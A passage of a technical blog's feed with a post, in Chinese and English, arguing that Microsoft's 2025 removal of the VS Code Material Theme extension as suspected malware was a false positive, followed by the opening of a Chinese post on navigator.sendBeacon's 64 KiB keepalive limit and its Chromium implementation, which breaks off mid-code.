positive）。</p><p>如果是我的話，可能也會決定下架吧，因此我是能理解這個決定的。</p><p>但我覺得下架時的說明應該要更清楚一點，多次強調「事件還在調查，還沒確定是惡意軟體」，要不斷強調「還在驗證，只是為了保護使用者所以先移除」這件事。</p><p>雖然 VS Code 團隊本來就沒有明確表示是惡意軟體，但表達更像是「雖然還沒完全確定，但我滿有自信它是」，而不是「還沒確認是惡意軟體，請大家不要先恐慌，等我們驗證」。</p><p>最後整理一下我的立場，我目前的立場是，高度可疑的套件下架是合理的，我也認同 VS Code 團隊這樣做。但為了避免 false positive，在對外聲明時必須格外小心，否則對開發者名聲的傷害是難以挽回的，而我認為這次 VS Code 團隊在這點上並沒有做好。</p><p>就舉這次事件為例，儘管 VS Code 的道歉聲明已經是 3 天前發的了，又有多少人知道呢？會不會大多數的人還是認為 Material Theme 是個惡意軟體呢？</p><p>話說 BleepingComputer 在 <a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-apologizes-for-removing-vscode-extensions-used-by-millions/">Microsoft apologizes for removing VSCode extensions used by millions</a> 一文中有去問一開始回報問題的資安公司，他們還是覺得有惡意程式碼：</p><blockquote><p>When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”<br>當 BleepingComputer 詢問此事時，資安研究員 Amit Assaraf 仍堅稱該擴充套件包含惡意程式碼。然而，他表示發佈者並無惡意，並評論道：「在這種情況下，微軟行動得太快了。」</p></blockquote><p>但目前看起來，還是沒有提供相關證據。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;應該不少人都有跟到三週前 VS Code 上的知名套件 Material Theme 被微軟主動下架的新聞，那下架的理由是什麼呢？根據你得知這件事的消息來源以及自身個性，可能會有兩種回答：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;它「疑似」含有惡意程式碼&lt;/li&gt;
&lt;li&gt;它就是個惡意軟體&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;為什麼跟自身個性有關呢？因為就算消息來源接收到的是第一種，在種種條件的互相加持影響之下，你也很有可能解釋成第二種。&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>VS Code Material Theme is Not a Malware — Where Should the Line Be Drawn?</title>
    <link href="https://blog.huli.tw/2025/03/16/en/vscode-material-theme-is-not-a-malware/"/>
    <id>https://blog.huli.tw/2025/03/16/en/vscode-material-theme-is-not-a-malware/</id>
    <published>2025-03-16T02:40:00.000Z</published>
    <updated>2025-10-01T13:13:03.857Z</updated>
    
    <content type="html"><![CDATA[<p>Many people might have followed the news three weeks ago about the well-known extension Material Theme being proactively removed from VS Code by Microsoft. So what was the reason for its removal? Depending on your source of information, there might be two answers:</p><ol><li>It “allegedly” contains malicious code.</li><li>It is indeed malware.</li></ol><span id="more"></span><p>For example, in BleepingComputer’s article <a href="https://www.bleepingcomputer.com/news/security/vscode-extensions-with-9-million-installs-pulled-over-security-risks/">VSCode extensions with 9 million installs pulled over security risks</a>, it states:</p><blockquote><p>Microsoft has removed two popular VSCode extensions, ‘Material Theme – Free’ and  ‘Material Theme Icons – Free,’ from the Visual Studio Marketplace for allegedly containing malicious code.</p></blockquote><p>It uses the term “allegedly containing malicious code.”</p><p>In addition to this, there are many news articles or tweets that assertively claim that Material Theme is malware. For instance, the widely followed <a href="https://x.com/theo/status/1894661673388314710">@theo</a> directly stated:</p><blockquote><p>The Material Theme has just been removed from GitHub and VS Code due to shipping malware.</p></blockquote><p>So, is the Material Theme extension on VS Code malware? To conclude: “No.”</p><p>What exactly happened in this whole process? Why was it initially said to be potentially malware, and later it was not? Let’s discuss this in chronological order, starting from the beginning.</p><h2><span id="the-beginning-of-the-incident-and-the-reason-for-removal">The Beginning of the Incident and the Reason for Removal</span></h2><p>(All times refer to Taiwan time)</p><p>On 2025&#x2F;02&#x2F;26 at 01:32 AM, someone posted an issue on the Material Theme GitHub: <a href="https://web.archive.org/web/20250226020241/https://github.com/material-theme/vsc-material-theme/discussions/1313">This extension was reported to be problematic</a>, mentioning that the following prompt appeared in VS Code:</p><blockquote><p>We have uninstalled ‘equinusocio.vsc-material-theme’ which was reported to be problematic.</p></blockquote><p>This proves that at least at this point in time, Microsoft had proactively removed the Material Theme from VS Code. A few hours later, at 04:39, someone also posted on the well-known discussion forum Reddit discussing the same situation: <a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">Lost Material Theme</a> .</p><p>By 7 AM, discussions also began on Hacker News: <a href="https://news.ycombinator.com/item?id=43178831">Material Theme has been pulled from VS Code’s marketplace</a>.</p><p>Around 3:40 PM, a member of the VS Code team, Isidor, responded:</p><blockquote><p>Hi - Isidor here from the VS Code team.<br>A member of the community did a deep security analysis of the extension and found multiple red flags that indicate malicious intent and reported this to us. Our security researchers at Microsoft confirmed this claims and found additional suspicious code.</p><p>We banned the publisher from the VS Marketplace and removed all of their extensions and uninstalled from all VS Code instances that have this extension running. For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.</p><p>Expect an announcement here with more details soon <a href="https://github.com/microsoft/vsmarketplace/">https://github.com/microsoft/vsmarketplace/</a></p><p>As a reminder, the VS Marketplace continuously invests in security. And more about extension runtime trust can be found in this article <a href="https://code.visualstudio.com/docs/editor/extension-runtime-security">https://code.visualstudio.com/docs/editor/extension-runtime-security</a></p><p>Thank you!</p></blockquote><p>The gist is that someone in the community conducted an in-depth security analysis of this package, found multiple red flags indicating malicious intent, and reported it to Microsoft. Internal security researchers at Microsoft also confirmed this finding and identified other suspicious code. Microsoft has removed all packages from this developer and banned him, stating that the removal of the package is unrelated to the license (which we will discuss later) and is only related to potential suspicious intent.</p><p>By 11 PM, someone opened an issue in the Visual Studio Marketplace GitHub to discuss this matter: <a href="https://github.com/microsoft/vsmarketplace/issues/1168">Material theme compromised?</a>, wanting to know more details.</p><p>The PM of the VS Code Marketplace, seaniyer, also provided a <a href="https://github.com/microsoft/vsmarketplace/issues/1168#issuecomment-2686542068">response</a> at 9:57 AM on 2&#x2F;27:</p><blockquote><p>Sean here from VS Code Marketplace. We take the decision to remove seriously and thoroughly verify any reports. To protect developers, we also prioritize speedy removal of positives. We’ve posted the reason for removal in RemovedPackages, where we plan to add any future removals as well. Thanks for helping to keep the marketplace safe for everyone.</p></blockquote><p>The <a href="https://github.com/microsoft/vsmarketplace/commit/5d23236b873a96d0da5dc90990e6172341c88b71">RemovedPackages.md</a> file was created at 7 AM that day, perhaps indicating that this was Microsoft’s first proactive removal of a package?</p><p>The document stated that the removed package was Equinusocio.vsc-material-theme-icons (another package by the same author; he has two, one is Material Theme and the other is Material Theme Icons), with the reason being:</p><blockquote><p>A theming extension with heavily obfuscated code and unreasonable dependencies including a utility for running child processes</p></blockquote><p>A cybersecurity company, Koi Security, published an article on 2025&#x2F;02&#x2F;27 titled <a href="https://blog.koi.security/a-wolf-in-dark-mode-the-malicious-vs-code-theme-that-fooled-millions-85ed92b4bd26">A Wolf in Dark Mode: The Malicious VS Code Theme That Fooled Millions</a>, mentioning that they found malicious code in the Material Theme, seemingly introduced through a dependency:</p><blockquote><p>Say hello to the wolf in dark mode, “Material Theme”, an extremely popular VSCode theme extension, found to be containing malware underneath its beautiful color scheme</p><p>Material Theme — Free, a theme extension for VSCode, which was installed 3,927,094 times by developers, was found to contain malicious code through a dependency</p><p>The malicious code seems to be inside a dependency of the theme, which was compromised.</p></blockquote><p>The wording used here is “was found to contain malicious code,” which directly states that it contains malicious code.</p><h2><span id="authors-rebuttal">Author’s Rebuttal</span></h2><p>On 2&#x2F;28, around 5 PM, the author of Material Theme, @equinusocio, opened an issue in the Visual Studio Marketplace GitHub: <a href="https://github.com/microsoft/vsmarketplace/issues/1173">Asking for Equinusocio publisher restoration and relative extensions, censorship and shady discriminatory microsoft moves</a>, stating that there is no malicious code in his package, and the only issue is an outdated third-party package:</p><blockquote><p>This decision destroyed 10 years of reputation and trust, all based on unfounded SUSPICIONS regarding obfuscated code—something you dislike, even though there was no evidence of harm. The only issue was an outdated sanity.io dependency within the obfuscated code, which could have been fixed in 30 seconds.</p></blockquote><p>At the end of the article, it also mentions that if it is confirmed that his package does not contain malicious code, all extensions should be restored and a public apology issued:</p><blockquote><p>If your review of MY SOURCE CODE confirms that there is nothing malicious, I formally request the full restoration of our publisher accounts (Equinusocio and vira-theme), all related extensions, and user access to the theme. Additionally, all installations and insights should be reinstated.</p></blockquote><h2><span id="why-was-material-theme-suspected">Why was Material Theme suspected?</span></h2><p>To summarize the above discussion, it is clear that Material Theme indeed did a few things:</p><ol><li>It is clearly a theme, but the package contains JavaScript.</li><li>It has obfuscated code.</li><li>The code contains parts related to username and password.</li><li>It includes a utility for executing child processes.</li></ol><p>If you ask me whether it is suspicious, yes, it is certainly suspicious. But if you ask me whether it is malicious software, I would say it is not.</p><p>Why not? Because no one has provided evidence. Although obfuscating code is indeed suspicious, it is just that—suspicious. Moreover, in my view, the strength of this “suspicion” is not that strong. For example, there is no evidence found of communication with a malicious server or any suspicious backdoors, etc.</p><p>In addition, regarding the obfuscation, if you have looked into the situation, you would find that as early as August 2024, someone on Reddit posted a <a href="https://www.reddit.com/r/vscode/comments/1eq40o2/has_the_material_theme_extension_been_compromised/?rdt=47469">Has the Material Theme extension been compromised?</a> thread, stating that the latest version contains a large amount of obfuscated code, and the historical records on GitHub have already been deleted, asking what happened.</p><p>Some say it may be related to these two discussions initiated by the author on August 10:</p><ol><li><a href="https://web.archive.org/web/20241230012548/https://github.com/material-theme/vsc-material-theme/discussions/1304">⚠️ Looking for Typescript maintainer ⚠️ </a></li><li><a href="https://web.archive.org/web/20241230040357/https://github.com/material-theme/vsc-material-theme/discussions/1305">Premium extensions</a></li></ol><p>Because the author wanted to change this package from open source to closed source and develop a paid version, they used obfuscation to hide some logic.</p><p>As for the so-called “parts related to username and password in the code,” it is very likely that a third-party package used <a href="https://github.com/unshiftio/url-parse">url-parser</a>, so these usernames and passwords refer to the credentials in the URL when parsing, rather than anything that steals sensitive information from your computer.</p><p>Regarding the “utility for executing child processes,” <a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2693242277">someone</a> looked at the code after deobfuscating it and found that it was just a build script, executing no malicious commands.</p><p>(By the way, I have not personally verified these two points above; the source code of the extension has always been available for download, and interested individuals can take a look themselves: <a href="https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage">https://marketplace.visualstudio.com/_apis/public/gallery/publishers/Equinusocio/vsextensions/vsc-material-theme/34.7.9/vspackage</a>)</p><p>The article from Koi Security also lacks any clear evidence. My stance here aligns with the subtitle of the article <a href="https://andrews.substack.com/p/re-vscode-extension-drama">RE: VSCode Extension Drama</a>: You can’t run your threat response like a High School clique.</p><p>Of course, setting aside Material Theme for now, the author has a history of behaviors that do not align with the spirit of open source. This is also why the Microsoft statement mentioned earlier states: “For clarity - the removal had nothing to do about copyright&#x2F;licenses, only about potential malicious intent.” However, since these issues are unrelated to whether the extension is malicious software, I won’t elaborate further.</p><p>Initially, only Material Theme and Material Theme Icons were taken down and removed. However, the author later created a new account, changed the name, and uploaded it again. After being discovered multiple times, the entire account was banned, as can be seen in the <a href="https://www.reddit.com/r/vscode/comments/1iy571t/comment/meuooi1/">discussion thread</a> on Reddit.</p><p>In summary, this <a href="https://github.com/microsoft/vsmarketplace/issues/1173#issuecomment-2692845250">comment from @r8</a> accurately reflects my thoughts:</p><blockquote><p>Being an ass is not a crime. If you want to ban Mattia for being an ass (which, I’m sorry to say, he is), that’s what Codes of Conduct were invented for.</p></blockquote><h2><span id="the-important-line-between-suspected-and-confirmed">The Important Line Between “Suspected” and “Confirmed”</span></h2><p>The question I want to discuss is: “Is it reasonable for the VS Code team to take down the Material Theme extension?”</p><p>However, this question actually hides two or three sub-questions, so I decided to break it down. The first thing we can discuss is whether it is reasonable to take down an extension when it is found to “possibly contain malicious code.”</p><p>Prevention is better than cure. Stopping losses before something goes wrong is, in my opinion, reasonable.</p><p>The second related question is: “Since it is only suspected, how much certainty is needed before it is reasonable to take it down?”</p><p>This is actually a “line-drawing” issue.</p><p>For example, if a theme extension is found to contain unobfuscated JavaScript files, taking it down may not be reasonable. But what if obfuscated JavaScript is found in the theme extension? (You still don’t know what the content is, only that it has been obfuscated.) Some people might feel it should be taken down.</p><p>However, others might argue that you must find concrete evidence before taking it down; even being in the suspicion stage is not enough.</p><p>So I say this is a line-drawing issue, depending on where you draw the line and what conditions must be met to feel it is sufficiently suspicious to warrant removal. This standard will vary for each person and organization.</p><p>Once these two questions are clarified, we can discuss: “Is it reasonable for the VS Code team to take down the Material Theme extension?” From their perspective, the known information is likely:</p><ol><li>It is clearly a theme, but the extension contains JavaScript, which is obfuscated.</li><li>It includes utilities used to execute child processes.</li><li>This extension has millions of downloads.</li></ol><p>Before making a decision, they must understand the impact this decision will have.</p><p>For example, this is the first time the VS Code team has done this, so even if it is merely “suspected of having issues,” it could be interpreted as having enough confidence to take significant action by remotely removing the extension. Additionally, if it turns out to be a malicious extension, that would be fine, but what if it is not? Should they be particularly careful when making public statements, emphasizing that it is only a suspicion and trying not to harm the developer’s reputation when the evidence is not yet clear?</p><p>Another question is, since “lack of evidence” affects the decision, should this line be drawn more strictly, only making decisions after obtaining concrete evidence? After all, if it is ultimately confirmed that the extension is fine, the outside world may question Microsoft’s cybersecurity capabilities (like, I thought you had enough evidence to do this, but it turns out to be a false report).</p><p>In summary, I don’t know how much evidence the VS Code team had, but we all know the decision they ultimately made: to forcibly remove the extension to protect users.</p><h2><span id="conclusion-the-vs-code-teams-apology">Conclusion: The VS Code Team’s Apology</span></h2><p>More than a week after the incident, on March 7, Microsoft removed Material Theme from the list via this PR: <a href="https://github.com/microsoft/vsmarketplace/pull/1181">Update RemovedPackages.md</a>.</p><p>On March 12, they issued a <a href="https://github.com/microsoft/vsmarketplace/issues/1173">public statement</a> apologizing under the issue posted by the author:</p><blockquote><p>False positives suck, and it hurts when it happens.</p><p>The publisher account for Material Theme and Material Theme Icons (Equinusocio) was mistakenly flagged and has now been restored. In the interest of safety, we moved fast and we messed up. We removed these themes because they fired off multiple malware detection indicators inside Microsoft, and our investigation came to the wrong conclusion. We care deeply about the security of the VS Code ecosystem, and acted quickly to protect our users.</p><p>I understand that the “Equinusocio” extensions author’s frustration and intense reaction, and we hear you. It’s bad but sometimes things like this happen. We do our best - we’re humans, and we hope to move on from this We will clarify our policy on obfuscated code and we will update our scanners and investigation process to reduce the likelihood of another event like this.<br>These extensions are safe and have been restored for the VS Code community to enjoy.</p><p>LINKS:<br>Material Theme<br>[Material Theme Icons]<br>(<a href="https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons">https://marketplace.visualstudio.com/items?itemName=Equinusocio.vsc-material-theme-icons</a>)</p><p>Again, we apologize that the author got caught up in the blast radius and we look forward to their future themes and extensions. We’ve corresponded with him and thanked him for his patience.</p><p>Scott Hanselman and the Visual Studio Code Marketplace Team - @shanselman</p></blockquote><p>So, despite having some indeed suspicious behavior, Material Theme has never been malware from the beginning.</p><p>However, it can be seen from the statement that from their perspective, there should have been a high level of confidence when making the decision, after all, the internal malware detection said so (even though it turned out to be a false positive).</p><p>If it were me, I might have decided to take it down as well, so I understand this decision.</p><p>But I think the explanation at the time of removal should have been clearer, emphasizing multiple times that “the incident is still under investigation, and it has not been confirmed to be malware,” and continuously stressing that “it is still being verified, and it was removed just to protect users.”</p><p>Although the VS Code team did not explicitly state that it was malware, the expression was more like “although it hasn’t been fully confirmed, I am quite confident it is,” rather than “it hasn’t been confirmed to be malware, please don’t panic, wait for our verification.”</p><p>To summarize my position, I currently believe that removing highly suspicious packages is reasonable, and I agree with the VS Code team’s actions. However, to avoid false positives, extra caution must be taken in external statements; otherwise, the damage to the developer’s reputation is irreparable, and I believe the VS Code team did not do well in this regard this time.</p><p>Taking this incident as an example, even though the VS Code apology statement was issued 3 days ago, how many people know about it? Could it be that most people still think Material Theme is malware?</p><p>By the way, BleepingComputer asked the cybersecurity company that initially reported the issue in the article <a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-apologizes-for-removing-vscode-extensions-used-by-millions/">Microsoft apologizes for removing VSCode extensions used by millions</a>, and they still believe there is malicious code:</p><blockquote><p>When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, he stated that there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”</p></blockquote><p>But it seems that no relevant evidence has been provided so far.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Many people might have followed the news three weeks ago about the well-known extension Material Theme being proactively removed from VS Code by Microsoft. So what was the reason for its removal? Depending on your source of information, there might be two answers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It “allegedly” contains malicious code.&lt;/li&gt;
&lt;li&gt;It is indeed malware.&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  <entry>
    <title>navigator.sendBeacon 的 64KiB 限制與底層實作</title>
    <link href="https://blog.huli.tw/2025/01/06/navigator-sendbeacon-64kib-and-source-code/"/>
    <id>https://blog.huli.tw/2025/01/06/navigator-sendbeacon-64kib-and-source-code/</id>
    <published>2025-01-06T02:40:00.000Z</published>
    <updated>2025-01-06T11:51:47.703Z</updated>
    
    <content type="html"><![CDATA[<p>當你想在網頁上向 server 發送一些 tracking 相關的資訊時，比起直接用 <code>fetch</code> 送出請求，有另一個通常會被推薦的選擇：<code>navigator.sendBeacon</code>。</p><p>為什麼會推薦這個呢？</p><p>因為如果是用一般送出請求的方法，在使用者把頁面關掉或是跳轉的時候可能會有問題，例如說剛好在關掉頁面時發送請求，這個請求可能就送不出去，隨著頁面關閉一起被取消了。</p><p>雖然說可以利用一些方法嘗試強制送出請求，但這些方法通常都會傷害使用者體驗，例如說強制讓頁面晚一點關閉，或是送出一個同步的請求之類的。</p><p>而 <code>navigator.sendBeacon</code> 就是為了解決這個問題而生的。</p><span id="more"></span><p>就如同 <a href="https://w3c.github.io/beacon/">spec</a> 上所寫的：</p><blockquote><p>This specification defines an interface that web developers can use to schedule asynchronous and non-blocking delivery of data that minimizes resource contention with other time-critical operations, while ensuring that such requests are still processed and delivered to destination</p><p>此規範定義了一個 interface，供網頁開發者用於安排非同步且非阻塞的數據傳輸，以最大限度地減少與其他時間敏感操作的資源競爭，同時確保這些請求仍能被處理並傳遞到目標位置。</p></blockquote><p>而使用的方式也非常簡單：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>就會發送一個 POST 的請求到 <code>/log</code> 去。</p><p>雖然簡單易用，但需要注意的一點是，送出的 payload 是有大小限制的，而且這個限制不是單一請求的限制。</p><h2><span id="navigatorsendbeacon-的-payload-限制">navigator.sendBeacon 的 payload 限制</span></h2><p><code>sendBeacon</code> 的 payload 上限是 64 KiB，等同於 65536 個 bytes，如果 payload 都是由英文字組成的話，因為每一個是一個 byte，就是 65536 個字。</p><p>如果超過這個大小，你會發現請求送不出去，永遠處於 pending 狀態：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"/log"</span><span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">65536</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p1.png" alt="永遠 pending "></p><p>而且這個限制其實並不是限制單一請求，而是背後有個 queue，這個 queue 只要超過 65536 bytes 就不接受新的東西了。</p><p>舉例來說，當我們連續送出 8 個 10000 字的請求時：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">let</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span><span class="token number">8</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    navigator<span class="token punctuation">.</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span><span class="token string">"https://httpstat.us/200?log"</span><span class="token operator">+</span>i<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">.</span><span class="token function">repeat</span><span class="token punctuation">(</span><span class="token number">10000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>你會發現最後兩個一直處於 pending 狀態，送不出去：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p2.png" alt="超過 queue 的範圍就會一直 pending"></p><p>這是因為前六次 <code>sendBeacon</code> 已經把 queue 填到 60000 了，因此最後兩次都塞不下，所以無法接受新的請求，就會永遠處於 pending，就會 queue 空了也不會主動再塞進去。</p><p>不過嚴格來講這其實也不是 <code>sendBeacon</code> 的問題，而是 fetch 加上 keepalive 會有的限制。事實上，<code>navigator.sendBeacon</code> 的底層就是 fetch 加上 keepalive。</p><h2><span id="navigatorsendbeacon-的規格與-sentry-的小故事">navigator.sendBeacon 的規格與 Sentry 的小故事</span></h2><p>在規格的段落 <a href="https://w3c.github.io/beacon/#sec-processing-model">3.2 Processing Model</a> 的第六步中，就有提到剛剛講的 queue：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p3.png" alt="spec 中的 queue"></p><p>如果判斷塞不進去 queue 的話，<code>sendBeacon</code> 會回傳 false。</p><p>其實這就是 payload 碰到問題時的解法，在呼叫 <code>sendBeacon</code> 之後判斷回傳值是否為 false，是的話就進行處理，看是要 fallback 成一般的 fetch，還是自己再做個重試的機制。</p><p>而第七步則是 <code>sendBeacon</code> 主要做的事情，新建一個 keepalive 的請求然後送出：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p4.png" alt="keepalive 的段落"></p><p>而 fetch + keepalive 的 payload 限制就是 64 KiB，這是有寫在 <a href="https://fetch.spec.whatwg.org/#http-network-or-cache-fetch">spec</a> 裡的：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/fetch-spec.png" alt="fetch 的 spec"></p><p>專門做 error tracking 的服務 Sentry 以前其實就碰過這問題，在 2018 年時有人發現 Sentry 在 fetch 時會預設打開 keepalive，導致有些超過 65536 bytes 的請求送不出去，因此把這個 flag 給拿掉了：</p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p5.png" alt="Sentry 的 issue"></p><p>來源：<a href="https://github.com/getsentry/sentry-javascript/issues/1464">When fetch is used keepalive is the default, and Chrome only allows a POST body &lt;&#x3D; 65536 bytes in that scenario #1464</a>，拿掉的 PR：<a href="https://github.com/getsentry/sentry-javascript/pull/1496">ref: Remove keepalive:true as a default and document payload size #1496</a></p><p>兩年後的 2020 年，有人發現了 keepalive 的規格以及正確用法：<a href="https://github.com/getsentry/sentry-javascript/issues/2547">Fetch KeepAlive #2547</a>，提議在 payload 許可之下用 keepalive，超過才不用，而不是像當時全部都不用。</p><p>但當時並沒有任何動作，是又過了兩年，在 2022 年時，有人發現 Chrome 在 navigation 的時候會取消所有請求，因此有些請求送不出去，才想到要利用 keepalive 來解決。</p><p>因此在 2022 年 9 月時，才又把它加了回去，並且留下精闢的註解：</p><p><a href="https://github.com/getsentry/sentry-javascript/issues/2547">feat(browser): Use fetch keepalive flag #5697</a></p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Outgoing requests are usually cancelled when navigating to a different page, causing a "TypeError: Failed to</span><span class="token comment">// fetch" error and sending a "network_error" client-outcome - in Chrome, the request status shows "(cancelled)".</span><span class="token comment">// The `keepalive` flag keeps outgoing requests alive, even when switching pages. We want this since we're</span><span class="token comment">// frequently sending events right before the user is switching pages (eg. whenfinishing navigation transactions).</span><span class="token comment">// Gotchas:</span><span class="token comment">// - `keepalive` isn't supported by Firefox</span><span class="token comment">// - As per spec (https://fetch.spec.whatwg.org/#http-network-or-cache-fetch), a request with `keepalive: true`</span><span class="token comment">//   and a content length of > 64 kibibytes returns a network error. We will therefore only activate the flag when</span><span class="token comment">//   we're below that limit.</span><span class="token literal-property property">keepalive</span><span class="token operator">:</span> request<span class="token punctuation">.</span>body<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> <span class="token number">65536</span><span class="token punctuation">,</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>中文機翻：</p><blockquote><p>當切換到不同頁面時，未完成的請求通常會被取消，進而導致「TypeError: Failed to fetch」錯誤，並出現「network_error」。在 Chrome 中，請求狀態會顯示「(cancelled)」。<br>keepalive 標誌可以讓未完成的請求在頁面切換時繼續保持活動狀態。由於我們經常在使用者切換頁面前傳送事件，因此需要這個功能。</p><p>需要注意：</p><ol><li>Firefox 不支援 keepalive。</li><li>根據規範，如果請求設定了 keepalive: true 並且內容長度超過 64 KiB，將會返回網路錯誤。因此，我們只會在請求內容長度低於該限制時啟用此標誌。</li></ol></blockquote><p>但故事還沒完，就像我剛才提到的，這個 65536 的限制並不只是單個請求，而是有個 queue，因此這樣做是不夠的。半年之後，Sentry 也注意到了這個問題，加上了計算 queue size 的邏輯，讓整個機制變得更加穩健：<a href="https://github.com/getsentry/sentry-javascript/pull/7553">fix(browser): Ensure keepalive flag is correctly set for parallel requests #7553</a></p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p6.png" alt="Issue 截圖"></p><p>如果之後有想要實作類似的東西，可以直接參考上面 Sentry 的 PR。</p><h2><span id="sendbeacon-的實作">sendBeacon 的實作</span></h2><h3><span id="chromium-的-sendbeacon-實作">Chromium 的 sendBeacon 實作</span></h3><p>最後我們來看一下 sendBeacon 底層的實作，先從 Chromium 開始，我以寫文章時最新的穩定版 131.0.6778.205 為例，相關程式碼在：<a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/modules/beacon/navigator_beacon.cc;l=93">third_party&#x2F;blink&#x2F;renderer&#x2F;modules&#x2F;beacon&#x2F;navigator_beacon.cc</a></p><p>我擷取其中一小段核心程式碼：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool NavigatorBeacon<span class="token operator">::</span><span class="token function">SendBeaconImpl</span><span class="token punctuation">(</span>    ScriptState<span class="token operator">*</span> script_state<span class="token punctuation">,</span>    <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url_string<span class="token punctuation">,</span>    <span class="token keyword">const</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">*</span> data<span class="token punctuation">,</span>    ExceptionState<span class="token operator">&amp;</span> exception_state<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  ExecutionContext<span class="token operator">*</span> execution_context <span class="token operator">=</span> ExecutionContext<span class="token operator">::</span><span class="token function">From</span><span class="token punctuation">(</span>script_state<span class="token punctuation">)</span><span class="token punctuation">;</span>  KURL url <span class="token operator">=</span> execution_context<span class="token operator">-></span><span class="token function">CompleteURL</span><span class="token punctuation">(</span>url_string<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">CanSendBeacon</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> url<span class="token punctuation">,</span> exception_state<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> false<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  bool allowed<span class="token punctuation">;</span>  LocalFrame<span class="token operator">*</span> frame <span class="token operator">=</span> <span class="token function">GetSupplementable</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetFrame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">switch</span> <span class="token punctuation">(</span>data<span class="token operator">-></span><span class="token function">GetContentType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token comment">// [...]</span>      <span class="token keyword">case</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">::</span>ContentType<span 